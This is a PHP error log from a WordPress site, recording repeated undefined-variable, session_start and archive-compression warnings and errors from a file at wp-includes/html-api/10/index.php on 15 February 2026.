[15-Feb-2026 03:31:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:31:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:32:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:32:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:32:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:33:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:33:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:33:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:33:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 03:34:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:00 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:34:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:34:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:34:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:34:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:35:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:36:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1081
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1081
[15-Feb-2026 03:37:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:40 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:37:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:37:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:37:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/homerdlh/public_html/wp-includes/html-api/10/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[15-Feb-2026 03:37:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:52 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:37:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:37:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:37:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:55 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:37:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:37:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:37:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:37:58 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:37:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:37:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:13 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:38:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:30 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:38:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:42 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:38:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:38:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:48 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:38:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:38:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:38:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:38:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:00 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 03:39:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 03:39:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 03:39:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
